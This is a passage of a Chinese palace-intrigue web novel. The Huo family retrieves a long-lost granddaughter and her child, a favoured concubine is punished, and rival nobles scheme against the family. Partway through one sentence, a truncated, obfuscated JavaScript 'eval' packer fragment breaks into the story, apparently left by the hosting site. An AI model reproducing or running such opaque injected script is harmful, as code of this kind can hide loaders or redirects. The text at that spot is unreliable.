这娃娃可像有五六岁的模样,霍桑柔还不满十九岁啊,霍枫叶几不可察地皱眉,霍雄鹰没多想就单纯的随便奇怪下:“那你几岁生的娃?你十二三岁就嫁过人?” “要你管,赶紧麻溜儿给我滚。”霍桑柔不耐烦,霍雄鹰摸摸下巴评断:“我瞧出来了,你脾性可能像我还挺好的,要收拾行李就麻溜儿装箱笼,咱们连奴婢都给你带来了。” “谁要像你们,滚滚滚赶紧滚,再不走我可要报官了!”这人咋就听不懂人话呢。 霍雄鹰打个哈欠伸伸懒腰,趁还有耐心告诫她:“霍家是什么人家你最起码总知道吧,你不要笑掉三哥我的大牙,我霍雄鹰在京城可是横着走的,拿你当妹妹才对你这么客气。”他比两根手指提示:“要么你乖乖跟我们走,要么我们绑你回家,麻溜儿选吧。” 这态度比打劫都没差多少,霍枫叶也没制止,他们会心酸愧疚痛苦两眼泪汪汪吗?会;会心肝肉疼会想疯狂补偿吗?会,但全部只对霍灵渠。霍家人情味很重也很冷漠,对霍桑柔就是接回家放在家里养,莫说心疼怜惜,感动惭愧都想多了。 霍桑柔能搭理他们才怪,冷笑声抱娃进院、叫仆妇关院门。她跨进堂屋,压抑着心里的微微酸涩苦涩骂霍家;小祐娃娃仰头看看他娘好像很生气,乖乖做安静的娃娃。 突然巨响传来,仆妇匆忙进堂屋禀告说院门被外面那群人给撞破了,霍桑柔:“……”把这群混蛋王八蛋痛骂几遍就看到砸她家门的混蛋甩着麻绳出现在堂屋前威胁她:“叫三哥说也没啥行李可收拾的,家里都会给你添置,跟三哥回家吧,五妹。” 霍桑柔感觉都要抓狂了,握紧拳头恨恨发飙:“行,我就去跟你们家当家的人说,你们家要是敢跟我来硬的,我就告御状;我姐姐现在可是贵妃,当我怕你们啊?!” “得得得,随便你。”霍雄鹰看她小孩家瞎闹脾气懒得计较:“麻溜儿跟哥哥走吧。” “哼!!!”霍桑柔重重哼声,交代好仆妇看好家她很快就回来再抱起娃出门,绷紧脸抱娃走到院外踩凳上马车,坐进马车里就骂骂咧咧,小祐娃娃小手托腮淡定听着。 霍家的排场招摇驶出乌台巷,红七娘赶过来恰好遇上这幕场景,她只好先请示再看。 临近晌午,赴武襄侯府拉嫁妆和跑乌台巷接人的两拨人马差不多时刻返回,霍雄鹰他们到时家丁们连同护卫正在往家里运箱笼,估计还得再搬会儿,他就叫堂妹下马车。 霍枫叶担心侄女抱娃累,伸手表示帮她抱会儿,霍桑柔嫌得骂滚,霍枫叶就温和笑笑连霍雄鹰想训都被他拦着,边带侄女进家门边给她说说:“家中的规矩没那么刻板。 你祖父和父亲在前院离得近,我们就带桑柔先见老太爷和爹爹再进后院给你祖母请安。你刚才看到家丁小厮们在往家里搬箱笼是你三叔和二哥刚拉嫁妆回来,假冒的霍桑柔嫁人时家里给备的嫁妆,昨夜你祖父就发话要把那些嫁妆一个铜板不能少的拉回来。” 霍桑柔努努嘴嘲讽:“一拨拨人进出搞得像十里红妆似的,活该你们家当冤大头。” “家中嫁娶的规矩是嫡女定公中出二万两白银备嫁,庶女定由公中出一万两白银备嫁。”霍枫叶好脾气笑:“假霍桑柔出阁时因济善庵里那位疼惜要多添,家里就按嫡女的例给她备嫁又私底下多备三万两白银凑整五万两,桑柔放心,会连本带利讨回来的。” 霍桑柔想讽刺时听到最后句于是话就变成:“我信你们个鬼啊。” “这场阴谋算计得很深,不是害你和你姐姐那么简单,桑柔安顿好,家中就会告诉你。”霍枫叶依然温和,霍桑柔重重冷嗤,霍雄鹰觉得他都好性了懒得和堂妹打嘴仗。 他们走到老太爷院前碰见三老爷霍银湖和霍巨浪,给霍桑柔介绍换来她冷脸不屑,霍巨浪和霍银湖都没放在心上,笑着简单寒暄过,三老爷提声:“今早老太爷特意交代要把可能是假货心腹的奴婢留在武襄侯府,怕死在咱家晦气,都没带回来呢。” “怕啥,还有什么能比审假冒货的心腹更容易找出真凶?”霍雄鹰埋怨,霍枫叶猜:“爹应该是担心他们进入霍家后还什么都没审出来就被灭口,咱家平白惹身臊;但他们留在武襄侯府也活不成,幕后黑手必定会下杀手,就看武襄侯什么态度了。” “今早和武襄侯谈的时候他倒是愿意搭把手,可他家四爷连我们要拉嫁妆都意见很大,嫌太难看想让我们把嫁妆留着、他家折算成现银还给咱家。”霍巨浪摇摇头估摸:“侯四爷不反帮衬幕后黑手就算好了,武襄侯恐怕拗不过幼子。” 还要带霍桑柔拜见老太爷,他们便没多聊,简单互通下就散,霍枫叶他们带人往院里走,进门看见老太爷在庭前藤椅里喝茶晒太阳,疾步上前请安再给老太爷引见霍桑柔。 霍桑柔瞥瞥这老头,昂起脖颈宣告:“我根本不想来你们家,赶紧放我走。” 年过七十岁的霍擎甩甩手让霍枫叶和霍雄鹰走吧,他老头从躺椅里站起来,背手打量番眼前的五孙女和孙女怀抱的小娃,问的第一句和三孙儿一模一样:“这是你的崽?” “对啊,我的崽,赶紧麻溜儿放我走,再和我来硬的,我就告御状了!”霍桑柔放狠话,下刻冷不防差点被吓了吓,霍擎中气十足吼声响彻庭院:“霍漓江个混球呢?叫霍漓江现在立刻马上滚过来见他老子和女儿外孙。” 小祐娃娃乖乖自己捂耳朵,长随连忙应声跑去请二老爷过来,霍桑柔真不是被吓得而是抱娃许久有点手酸才把娃娃放下来,但想到接下来要见的人,她尽量压住异样装没事。 不消一刻多钟,霍漓江到来,他眼中有血丝眼底有通宵熬夜的乌青但精神面貌还不错,他站在几步外打量眼又绕霍桑柔和娃娃走两圈,真是一家子竟也是问:“你的崽?” “对啊,我的崽,你们要问几遍啊?”霍桑柔照旧没好脸,霍漓江吩咐:“你叫娃自己跑远些就在院里玩,别往外跑别偷听我们说话,爹和祖父跟你聊聊。” “我凭什么听你的,你们把我绑过来又不是我自愿来的,我可不想认你们,我警告你们赶紧放我走!”霍桑柔对呛然后就又被威胁:“你想让我们把娃娃绑起来放在院里?” 苦逼抓狂得真想骂爹啊,对,这爹就在眼前呢,她忍!霍桑柔憋屈哄娃乖乖走远些玩;小祐娃娃不怕生,跟陌生的老爷爷从果盘里要两捧青枣才跑开自己玩。 庭前就他们三人,数十步距离内再无第四人,霍漓江挑明问:“说吧,这娃是谁的?” 霍桑柔真嫌烦:“你们要我说几遍啊,我的崽我的娃,当然是我的娃。” 或许这就是当爹的嗅觉,霍漓江很肯定:“爹不清楚你什么秉性但很清楚你姐姐是绝对不会让你没及笄就生娃,老实交代,娃到底是谁的?” 70. 第70章 父女亲缘间的磁场可能就是这样奇妙吧。 随便猜猜就想套话,呸!霍桑柔咬死:“我姐管不住我,我早早跟人好上就有娃了。” “你姐姐能管不住你?别狡辩了,我是你们老子我能不清楚?”霍漓江肯定得仿佛亲眼见证过般:“你不敢跟你姐姐顶嘴还差不多,老实说娃到底是你的还是你姐的?” “我的,当然是我的。”是她们的爹了不起啊,是爹就能随意猜都好像对她们很了解吗?霍桑柔例举证明:“我姐就是管不住我,我姐还不肯让我进撷芳馆呢,我不照样进了。” 霍漓江不以为然:“这只是小事,能与让你没及笄就生娃比吗?”他毫不含糊地断定:“你和你姐姐是你姐姐拿主意,你姐姐拿定主意的事你吭一声都不敢的。 灵渠带你漂泊在外能不把你看得死死的就出奇了。就比如,看你这德性就不像爱读书,你姐要让娃读书启蒙了吧,娃娃贪玩不想念书,你敢反抗你姐姐吗?” 我想扯谎行吗?霍桑柔憋屈:“那是我知道读书对娃好,我不爱读书可我爱娃呀。” “爹和祖父没工夫跟你扯废话,你姐姐现在是贵妃,咱霍家虽是后族是当朝第一豪族,但和我们家不对付的人家、明里暗里想扳倒我们家的人多的是。”霍漓江吓唬:“这娃现身被说成是你姐姐的娃只是给你养而已,咱自家都不清楚还怎么应对?说,谁的?” 霍桑柔不信:“都说是我的娃了怎么可能扯到我姐身上?” “你姐姐是把你养得多天真,没见过无中生有颠倒黑白吗?想扳倒贵妃和霍家的那些人造谣污蔑孩子是贵妃生的只是给你养,就像今早,一早就能传得全城皆知,你说得清吗?”霍漓江再恐吓:“若是贵妃被传出进宫前生过孩子是什么下场,你都想不出来?” “我、我……”霍桑柔心慌慌得有点磕巴动摇,霍擎老太爷看这孙女是真傻哟,霍漓江看吓得差不多就要答案:“你给家里交了底,家里才能应对,说!” “不是!”霍桑柔心慌激动就把话蹦出来了,话落,她又懊悔起来便抿紧唇缄默。 “什么不是?不是你生的孩子还是不是你姐生的孩子,说清楚。”霍漓江拷问,霍桑柔愤愤反击:“要你们管那么多,休想套我话,想知道等我和我姐商量过再说。” “贵妃可在皇宫里,宫里的皇帝能像爹和祖父般对你这么客气吗?”霍漓江耐心骗道:“家里带你进宫,陛下召见你追问贵妃的过往,你知道该怎样应对吗?” 一下被戳中死穴,霍桑柔迟疑犹豫:“陛陛陛…陛下召见我做啥?” “废话!”霍漓江没好声训道:“要追查贵妃的过往不审问你审问谁,贵妃在北境曾有个送给她匕首做定情信物的少年郎是也不是,陛下能不把贵妃的过往翻个底朝天吗?咱家若是什么都不清楚就让你撞到陛下眼皮前将会是什么后果,你真想害死你姐姐吗?” “当然不是,哪有的事,我怎么会害我姐?”霍桑柔疾声驳斥,对上他们严肃阴沉的脸,她真心慌意乱更不敢想她能应付皇帝,怎么想都赌不起只好坦白:“小祐是二奶奶的孩子,给我姐送匕首的那人是他家三少爷,小祐是三少爷他二哥二嫂的孩子。” 霍漓江和他爹对视眼,霍擎老太爷心里叫乖乖,他宝贝孙女在帮情郎的哥嫂养娃? 答案真让他服,霍漓江捏捏眉心问缘由,霍桑柔可怜道:“小祐出生还没满百日,官兵就把他家围起来把府上所有人都抓牢里,我姐也被抓进牢里了,我和先生住在城郊才逃过,我急得要命求先生赶紧想办法,还好他们坐牢的第三天,先生——” “等等等等!”霍漓江连声打断:“什么情况把话说清楚,你姐姐被抓到牢里坐过牢吗?他家犯什么罪被判全府下狱,这与你姐姐有何相干?还有你和先生住城郊,何意?” “先生是三少爷家的亲戚,在城郊有家学馆,我姐要我读书,我平常就跟先生住学馆,只有学馆放假休息才回。我姐是住三少爷家,我姐说他家是我们家远房亲戚,八年前,姐姐特意带我去投奔,我姐还跟他家伯伯要一百两白银供我读书花销。” 霍桑柔怏怏追溯往事:“姐姐说虽然是远方亲戚、人家也愿意收留照顾我们,但我们不能仗着他家好心就白吃白喝白住白拿人家钱财,所以姐姐就给他家做丫鬟。我也愿意的,可我姐不同意还非要我跟先生念书,我不想和姐姐分开也没办法。 五年前官兵把他家所有人都抓牢里,我姐住在他家就也被关进牢里,我和先生都急死了,先生买通狱卒让我们潜进牢里,二奶奶也打点好狱卒要让我姐抱小祐逃走、让我们能跑多远就跑多远不要再回北境也别想救他们;我姐大病了场,病好就带着我和小祐来京城。” 她还是晓得不能泄露主公,霍桑柔略过还有位庇护他们的主公再解释:“本来我和我姐也没想就给小祐做娘,但小祐懂事点想要爹娘不好糊弄,我就给小祐做娘了。” 霍漓江揪心闭眼苦涩低头按按眼睛,霍擎压住难受心酸接棒探究:“娃娃家的情况呢,他家叫什么,犯的啥罪,现在是还在坐牢还是被判流放或斩首了?” 呃?霍桑柔很真诚地摇摇头表明她不知:“我真不知道,我姐只说他家是我们家远房亲戚又没告诉我远房亲戚姓啥叫啥,我管那么多做啥,我姐知道就好了呀。而且平常我都不住在他们家,他家伯伯和大少爷,三年多我都没见过几面。 他家犯的什么罪那我就更不知道了,当时我姐被关在牢里,我都急死啦只想救姐姐逃狱带姐姐赶紧跑,我哪还管得了那么多。他们家现在应该还在坐牢吧,我猜的,我们来京城就和那边断掉联系了,我姐和小祐都是逃狱的逃犯,哪敢再和那边联系。” 于是乎霍漓江从按眼睛转成按脑门,霍擎真要被五孙女单蠢得想蠢哭想飚脏话,默念好几遍是亲孙女是刚找回来的亲孙女才忍住:“你连他们家的匾额都没看见过吗?” “我看见过呀,我姐带我到他们家的第一天就坐在他们家门前等他家伯伯回来,那时我就抬头瞧过他家的匾额,是啥字没认出来。再往后,我跟先生从城郊回府是马车驶进府里;学馆放假,姐姐有时也会带我出门玩,但我没事看他们家匾额做啥?” 霍桑柔尽量回忆:“他家好像……好像是叫…呃…好像是叫保境还是保金什么的。” 做祖父的真怀疑人家可能姓鲍,霍擎在心里大喘气,死马当活马医地问:“那你姐姐十三岁时带你投奔的咱家的故人是城里谁家,你还能有点印象吗?” “在城外,我姐带我去城外的一座挺漂亮的庄上找的,守庄的老爷爷和我姐认识,我们住好几天才见到庄园主人,他很和蔼对我们也很好,但他很早就死了。”霍桑柔利索给答案:“我不知道那叔叔叫什么名字,我也不知道城外的庄子在哪里,我是找不到的。” 行吧,总算还是有提供点消息,霍擎心有点累的说:“桑柔啊,乖乖在家里住着吧,让你嫂嫂教你宫里的规矩礼仪,你学会了,家里带你进宫给太后和贵妃请安。” 谁让霍桑柔想姐姐呢,这诱惑让她没法拒绝啊:“我可不要霍振羽的媳妇教我。” “行,让你堂嫂们教你。”霍擎爽快:“你就带娃跟着你祖母住,还有啥要求?” “我在给小祐找教书先生,姐姐答应空半天给小祐玩,这种教书先生不好找,我会经常出门,你们家不能拦我,还得给小祐的先生提供客房。我没带行李,我要回去收拾行李。”霍桑柔想想再要求:“还有我家里的两个帮佣,我也要带来。” “咱家有西席有家塾。”老太爷知会,霍桑柔偏较劲:“我就要自己找教书先生。” “好好,随你,再让枫叶帮你把把眼;但你想独自出家门不行,不安稳。”霍擎交代道:“府里女眷出门都有规矩的,那府里这些规矩就等你安顿好再让你堂嫂教你;另外给你备了二万两银票五千两银锭,你要是觉得少,现在就和祖父说,甭不好意思。” 那么多银两白给她吗?霍桑柔瞪瞪眼悄悄咽口水:“你们家钱财多得没地儿花吗?” “是我们家!”霍擎纠正道:“不要再你们家你们家的,咱们是一家,你是我家的姑娘,家里给你准备的心意还要再给你添点不?祖父很实在,不用不好意思。” 嗯?霍桑柔纠结下决定:“你们有给我姐姐准备吗?我随我姐,我姐不要我也不要。” “都有都有,贵妃娘娘在宫里,花销比你大了去了,要准备的就多,你伯母和大哥大嫂一大早忙活起来到现在都还没筹备好,得明早再给贵妃送。”霍擎半真半假告诫:“记得啊,咱们家要给贵妃争皇后宝座,你心里要有数,懂不?” “啊??”霍桑柔被震撼了:“你们没做梦吧,皇后娘娘哎,我姐姐怎么可能?” “朝堂纷扰你不懂,贵妃站在漩涡里不是她和咱们家想安稳就能安稳,晓得啥叫树欲静而风不止吧?反正能不能争到凤座有家族长辈们操心,你只管和家族同进退。”霍擎叮嘱:“现在呢,你带娃回后院给你祖母请安,用过午膳再让雄鹰陪你走趟,明白吧?” 霍桑柔懵里懵懂地点头哦声,被提醒叫娃回来,她忽然个激灵连忙去找小祐,在院里走圈找到小祐带回廊前,已经有引路的候着,她再带娃跟着引路的管事走,感觉怪怪的。 奴婢们重新备过茶水瓜果又给二老爷搬来把太师椅才告退,霍漓江喝杯茶,闭眼靠在宽大的太师椅里像想吸进阳光的亮敞驱逐些他心里的阴霾,宁静片刻,他缓缓睁眼。 “灵渠没有和那家断掉联系,授康二十八年上半年被判全府下狱,想查出来不难。” “老爹整理疏通下啊,咱宝儿在外漂泊的情况应该就是:授康二十一年五月逃回京城,找到宝儿她应该很熟悉的故人寻求庇护。八年前到北地,那么那位故人应该在授康二十四年或授康二十五年过世,临终前安排灵渠带妹妹迁徙北地投奔他信任的亲友。 再往后边推就是五年前,授康二十八年上半年,那户人家遭难被判全府下狱,灵渠带着他家的血脉逃狱后带着妹妹回京畿,入风尘,同年立冬前被晏霁之赎身买走。”霍擎苦笑:“可老爹真怕灵儿她会入风尘不只是想让妹妹和小娃能过好日子,她还想救人。” 霍漓江神情微变,不愿相信:“咱家灵渠能有那么傻吗?况且晏霁之可不像啊。” “魏王像啊!”霍擎揉揉像附着老树皮般的额头,难言的颓丧涌起:“昨夜老爹就想不通,撷芳馆可是魏王的,灵渠也没否认魏王早知道,魏王在这当中什么都没做过可能吗?” “爹你、你是怀疑?”霍漓江惊诧看老父似难以启齿,他闭眼抹把脸,心绪冷静些才道:“您怀疑灵渠和魏王做交易?灵儿在英王府做细作,魏王就帮她救北境那户人家?” “也可能是入风尘前谈的交易,魏王府大门朝南开,想找还不容易?”霍擎抽丝剥茧细细推敲还原:“灵渠回京来找人帮忙搭救,挑中魏王,拿自己和魏王做交易,所以咱灵儿沦落风尘是进撷芳馆;晏霁之要买流光,魏王就安排灵渠进英王府做细作。” 他老头苦哈哈擦把眼底的湿意强装苦中作乐:“你说,该夸你闺女聪明吗?谁教她的,竟然还能晓得拿自己来做交易。”霍擎笑得比哭难看:“可娃娃咋就不知道回家咧?” 霍漓江按着红木太师椅扶手的手背青筋直暴,惨白的指尖触着深红尤像渗出的血珠,映在明媚光照里是那般的醒目刺激,仿佛能拂掉金乌伸展向人间的翅膀,徒留片血红残羽。 哦,原来是廊檐下鸟笼里五彩斑斓的鹦鹉在瞎扑腾,傻鸟学舌还在叫‘回家’‘回家’。 已至午膳时辰,霍雄鹰听说他大哥整上午都还没把给贵妃的零用备好,特意讨清单来看,粗略翻看遍觉得这大哥总算还没彻底黑心还能有救;然而对于名头传出霍家在官眷贵妇圈中都能小被耳闻略有悉知的娉姨娘而言,真又恨又怒又像被割肉般得肉疼。 虽然再有小半年将满四十二岁,娉姨娘保养姣好白皙的面庞看起来最多像三十四岁,她身段婀娜姿色极美,最难得的是她到现在这岁数还能有双如小鹿乱撞撩人心弦的如水星眸,当她泪眼梨花带雨时的楚楚可怜甚至还能与花信年华的美人争高下。 此等品相,霍家许多人看来娉姨娘能始终占据霍秦川后院第一人的位置也在情理中。 昨儿傍晚收到她生的二姑奶奶霍鸳娇被鞭笞的消息,娉姨娘就惊怒得差点掀房,愗郡公府派来的管事啰里吧嗦大堆话,她只抓到两个重点:霍鸳娇被鞭笞、霍鹣娇被降位为秀仪。宫宴上可还有当爹的在,竟也能把她的女儿们祸害成这样,这还能得了吗?! 哪想霍秦川回来后竟然不理她!娉姨娘昨夜就暴怒得几乎想抓破崔氏的老脸,把屋里砸稀巴烂闹到半夜才暂且作罢。今早她忍到辰时中,公中都没把添补的新家具摆件送来,她再给崔氏记笔账就杀到前院,哪想那男人竟然还不理她、更过份的是竟要赶她走。 怒火腾腾回屋换身水红流彩霏妆花缎裙,鲜嫩的衣裙穿在她身只显娇美妩媚毫不违和,可她刚想晌午再战就收到婢女禀告说国公夫人他们还没给贵妃备好零用,这都几个时辰了!崔氏是想把穆国公府的库房搬空吗?这可是在搬她和她儿子的家财。 霍海啸受封世子了又怎样,娉姨娘根本不在乎,她有的是手段哄霍秦川废掉霍海啸把爵位抢过来。她满三十岁后要用夫人的份例,霍秦川不肯,她多哄两年,男人还不是乖乖依她;现今只不过是她儿子才十四岁还没娶妻、她还没提过爵位罢了。 娉姨娘自是很自信的,自信得早已把霍灵渠在霍家时将她压制得死死的岁月忘干净、自信得深信她把霍秦川紧紧攥在手心里。因而,婢女禀告国公爷回后院,她当即找去,又被赶后她转头就回自己屋里吩咐婢女备白绫,她看霍秦川还敢不敢不理她?! 穆国公霍秦川的确理会了,理会得基本出乎全府的意料。 “老太爷、二老爷,国公爷刚在后院大发雷霆将娉姨娘重打二十板,还传令国公夫人说今后娉姨娘的用度就按姨娘的份例,多一个铜板都不能拨。” 小厮走到庭前请示已是未时还不摆膳吗?老太爷同意后,他再禀告府中新鲜出炉的大事,霍擎老太爷想缓解下心中的难受便问八卦瞧瞧热闹:“为啥事啊?” “奴婢听说是娉姨娘眼红世子爷给贵妃筹备的零用想阻挠,清早国公爷在前院书房忙,娉姨娘就去闹过,还是被国公爷赶走的;大半时辰前国公爷忙完回后院,她还要闹。 一会儿说世子给贵妃准备那么多珍宝是要把库房搬空,非闹着国公爷喝止世子;又说霍秀仪和二姑奶奶遭罪受苦、娘家要给补偿安慰;国公爷不理会,她就寻死腻活拿白绫自尽,惹得国公爷大怒传令几个粗使婆将她重打二十板、撤掉逾越用度。” 他们府上娉姨娘的用度可是和国公夫人比肩的,她得宠啊多闹几回就闹得国公爷同意了。霍家还减过用度,正徽元年皇宫里大减用度,霍家就追随陛下的步伐也削减用度。 每月添置的新衣,减用度后,老夫人添置十六身新衣,三位夫人添置十四套,少奶奶们新置十二套,姑娘们每月新置十套衣裳,轮到姨娘们是每月添置六身新衣。娉姨娘可不同,她就明目张胆走中馈的账要每月给她置十五套新衣裙,这还是有老夫人的份例压着呢。 再譬如月例银,老夫人月例五十两白银,夫人们月例四十两白银,少奶奶们二十两月例银;姑娘们按年龄分为四两和十两月银,姨娘们则是五两月例银;而娉姨娘就拿四十五两,且她还有国公爷私底下补贴,府里传国公爷每月至少补贴给她一百两白银。 小厮想想昨夜,娉姨娘可不就闹得大半夜都没安生,这可是从昨夜闹到今儿晌午,难怪惹得国公爷震怒要给教训;再想想姨娘们的份例,连燕窝都没的。 月例老夫人每月享六两燕窝,夫人们得四两燕窝,少奶奶和姑娘们月例都是二两燕窝。可娉姨娘就走中馈的账要每月给她拨五两燕窝,这都还嫌不够呢,常要国公爷私底下掏银两给她补燕窝;现在撤掉逾越的用度,娉姨娘哪受得了啊,还不知要咋样作妖。 但愿国公爷早些消气早些给她恢复吧,不然只怕娉姨娘能闹得府里每日都不安生,唉。小厮就没想过娉姨娘能因此失宠,这位可是得偏宠二十多年连主母都拿她没辙,国公爷也没少过鲜嫩的新人,可再鲜嫩的美人都越不过她,谁信娉姨娘还能失宠? 大概霍秦川本人信的,显国公收到霍家的消息也信的。 地位眼界不同,看待事物的角度想法自会有不同乃至能推翻表象得出面貌全非的结论。眼线将霍家鲜鲜出炉的八卦传回显国公府,晋王还在,顺嘴就嘲弄:“穆国公脑袋没烧吧,把爱妾重打二十板还能哄得好吗?真不嫌会给自己找罪受。” “可若那不是他的心头好?”显国公神思幽幽:“杖打重罚也没什么特别的吧?” 书房里共四位,薛侍郎闻言怔愣,薛述聪怀疑他爹在想什么,晋王就没顾忌:“岳父,穆国公宠爱他那个娉姨娘宠得几乎都快宠妾灭妻了,人尽皆知。” “能有多宠?”显国公听出晋王女婿的语调中透着你是不是白痴智障的话外音都略过,他就越想越觉得假,他竟然能被霍秦川的障眼法骗多么多年! “把这娉姨娘生的儿女全宠到上不得台面?宠到让女儿嫁破落户,懋郡公府什么光景,霍秦川但凡有点在意能让自己疼爱的女儿嫁这种没落宗亲?” 薛述聪愣住,晋王心里咯噔声,皱眉道:“这、这可能,可能想争爵位,毕竟霍鸳娇出嫁时他们家还有郡王爵位,宗亲郡王的名头到底好听,霍家富得流油帮着养就是了。” “今日又作何解释?”显国公问:“王爷您能将心爱的女人重打二十板吗?老臣自觉,还有宠的妾室若触怒我最多也就罚打手心,打二十大板的重罚,要么是对失宠的妾,要么这宠妾绝不会再宠,否则真嫌膈应,王爷对打过板子的妾室还能宠得起来吗?” 晋王真答不出也许穆国公不嫌膈应,他怪道:“可宠爱妾室还弄假,穆国公图什么?” 显国公真想砸一拳头发泄心里的憋火,他怎么就这么多年都没想到:“授康二十一年,霍家成为后族,圣人防范愈重,霍秦川毛病越多越容易让圣人放心。” 薛述聪瞪眼瞪得活像囫囵吞下颗鸡蛋,噎得慌啊;有没有搞错,宠妾室都能这样算计!晋王被憋得险些飚脏话,穆国公个王八蛋竟然在他眼皮底下活活骗过他那么多年?! “可,大哥,穆国公都演这么多年了,今日怎会突然重罚这宠妾?”薛侍郎想不通。 因为要舍掉了!什么狗屁宠妾和最疼爱的女儿,显国公费大力气才忍住心里的窝火解答:“昨日宫宴,霍秀仪姐妹羞辱贵妃,霍秦川总得拿出点表示,陛下处置过是陛下的处置,他霍秦川若没点表态让贵妃和霍漓江乃至太后怎么想? 难道只因霍秀仪姐妹就让霍家自家生出嫌隙吗?她们能配吗,什么最疼爱的女儿,根本是他管都懒得管的庶女;既然已经不知好歹到敢威胁亲爹,当然是顺势舍掉。” 晋王随即冷笑:“那就帮他推把,让父皇看清楚,否则多委屈穆国公装那么多年。” 薛侍郎看眼兄长忙恭维好主意但绝不揽活,显国公闻言端起茶盏喝两口,把话题拉回去:“王爷还是再向太妃求证清楚,太妃年届五旬会记错也是有的。” 今早太上皇回太微宫,晋王带媳妇进宫相送又留在皇宫里陪生母用过午膳再出宫,因而午后来的岳家,来岳家表明针对霍家的那场阴谋与庄太妃无关。他哪能轻信:“若只是记错还能补救,否则被霍家查到,在圣人面前可不是太妃说不知情就能摘干净。” 薛侍郎眉眼凝重,凝重得好像根本不知兄长在套话、更不知只要庄太妃认了就是死路。 “岳父是怀疑我母妃扯谎,还是打心底里就不信任我和我母妃?”晋王也有疑虑,可他怀疑自己的生母在隐瞒是一回事,岳家在他明确否决后再质疑就是另一回事。 “王爷言重,老臣只是忧心王爷和王妃的前景。”显国公不紧不慢甚至还有丝笑意:“这场阴谋的黑手即使能抢在霍家前抹掉线索让霍家找不出证据,可能抹掉霍家的怒火吗?倘若霍家认定是庄太妃做的要太妃拿命偿,王爷和王妃今后在京畿如何自处?” “霍家敢?”晋王冷冷怒喝,既像表态更像警告岳父少故意激他:“没有证据只凭瞎猜就想颠倒黑白把脏水泼到本王生母头上?本王看霍家是嫌命长吧!” 隐隐的对峙拉开,显国公稳稳戳破女婿的虚张声势:“王爷,霍家只需请圣人赐白绫,圣人至今都还没想过将霍家拔掉又何至于只因庄太妃就寒霍家的心? 魏王有悼太子留给他的河间五万大军保他十二年安稳,王爷身后有军队做保吗?圣人需怕你对父皇不孝还是怕你和霍家结死仇,霍家请圣人赐死庄太妃,试问王爷你能拿什么保?您对圣人比霍家对圣人更好用吗?晋王殿下有什么值得你父皇不能舍掉你?” “显国公!”晋王被戳破难堪恼羞成怒勃然站起,薛述聪想打圆场被叔叔拦住,显国公慢条斯理继续坐着提醒:“老臣想起来,那两个假冒货还在贵妃手中。 京中的线索能被擦掉,可两个假冒货身在何方都不知还能除得掉吗?有她们在,霍家还能少证据?王爷还是劝劝太妃若是真做过就认,圣人岂能不知太妃的心思手腕? 比起承认之后坏掉圣人的看法伤及和圣人的情分,总归是保命重要。现在还有机会,可若等到霍家咄咄相逼时再犯糊涂,老臣只怕到时候王爷和太妃想运作都来不及了。” “多谢国公爷提点,本王会考虑!”晋王甩袖就走,薛述聪头疼地追上去调和,薛侍郎留在书房里给兄长打圆场:“此事毕竟牵涉重,晋王爷心里急难免行事鲁莽,但正是自家人才少顾忌啊,王爷对王妃对岳父的心意是真诚的,大哥你莫介怀。” 显国公淡淡:“晋王的心意自然是想岳家把身家性命全都系在他身上。” 窗前,穿梭在树荫中的光线悄然泛黄,熏染着黄晕的阳光临照在嫩生生的绿树叶上打个旋儿仿若深秋里悬挂在枝头摇摇欲坠的枯叶,大自然的小小景致亦真妙也。 皇宫巍峨高深,高耸入云端的宫城墙像在撑天霹地,一道宫门对凡人堪比重重山水阻。因此霍家最新出炉的热闹传到皇帝耳中稍晚些已将近黄昏,不过消息倒也更详细些。 “这位娉姨娘派奴婢通知了霍二姑奶奶,现正在闹绝食、在屋中摔砸摆设打婢女、痛骂穆国公挨千刀天杀的等诸如此类,她生的霍六爷在霍家大闹不休与霍雄鹰打起来了。” “痛骂?”正徽帝嬴忱璧有心思有空暇就琢磨下:“朕记得,贵妃童年的时候都曾提起过这位娉姨娘擅逢迎很能哄穆国公喜欢,此番她不是该立即服软哄穆国公消气吗?” 皇城禁军统领表示他不懂,御前总管太监猜测:“陛下,可能今时不同往日,贵妃娘娘孩童时候的往事都是距今十多年前了,您瞧昨日宫宴霍秀仪姐妹不也敢威胁亲爹吗? 奴婢猜,许是这位娉姨娘很多年没被压制过,年岁越长非但没失宠反而越得盛宠不衰,以致她自觉是穆国公的心头宝或者自认把穆国公攥在手心里;她和霍秀仪姐妹可能自信反而是穆国公不能没有她们,故而也就弯不下头、敢和穆国公硬碰硬了。” “弯不下头?”嬴忱璧咂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍灵渠仿佛麻木般拒绝:“多谢陛下,臣妾很多年前就不养了。”她也愿意养宠物解闷,可她心里有块荒凉在蔓延叫她对什么都提不起兴致,连陪姑母都提不起心境,只想独处。 这座皇城压得她满心荒芜悲凉,蓦然回首,才发现原来她在英王府时曾那般安然。 嬴忱璧告诫自己忍住,贵妃没有当他面想晏霁之只是还没适应:“好,朕听闻贵妃从长春宫只带回六抬箱笼,朕有些意外,霍家今日给贵妃备好了236抬零用,明晨会送进宫来。若是贵妃想简朴些无意拿娘家那么多财物,朕派人去知会国舅减掉些。” “好,烦请陛下派宫人告知霍家不必给我送了,我在宫里什么都不缺,请家里放心。” “只怕贵妃这口谕派给霍家也没用,还可能会引得国丈明早亲自进宫来训训朕和贵妃。”嬴忱璧解释道:“霍家给贵妃送零用既是娘家的心意也是霍家摆给世人看的态度,家族重视能替贵妃省掉许多麻烦。要么减半,让穆国公明早送108抬箱笼。” “请陛下传个宫人进来,我想让宫人帮我带些话给我祖父。” “好!”嬴忱璧迈长腿往寝殿外走,没半刻钟即回到贵妃眼前,大总管侯在屏风外。 御前总管太监蒋厚运站在紫檀边座嵌琉璃玉石屏风外,没被谁盯梢仍然保持恭敬的半弯腰姿势给贵妃请安,霍贵妃略带暗哑颓丧的声音徐徐传来:“祖父安好,灵渠在宫中甚好,您勿挂怀。昨夜,陛下给贵妃送了十万两白银做花销。 今日,姑母带灵渠看太后的宝库近乎想将整座宝库都搬到关雎宫,灵渠费尽唇舌方求得姑母聊表心意即可;又闻明晨家中将给灵渠送财宝,故遣宫人来请祖父听孙女一言。 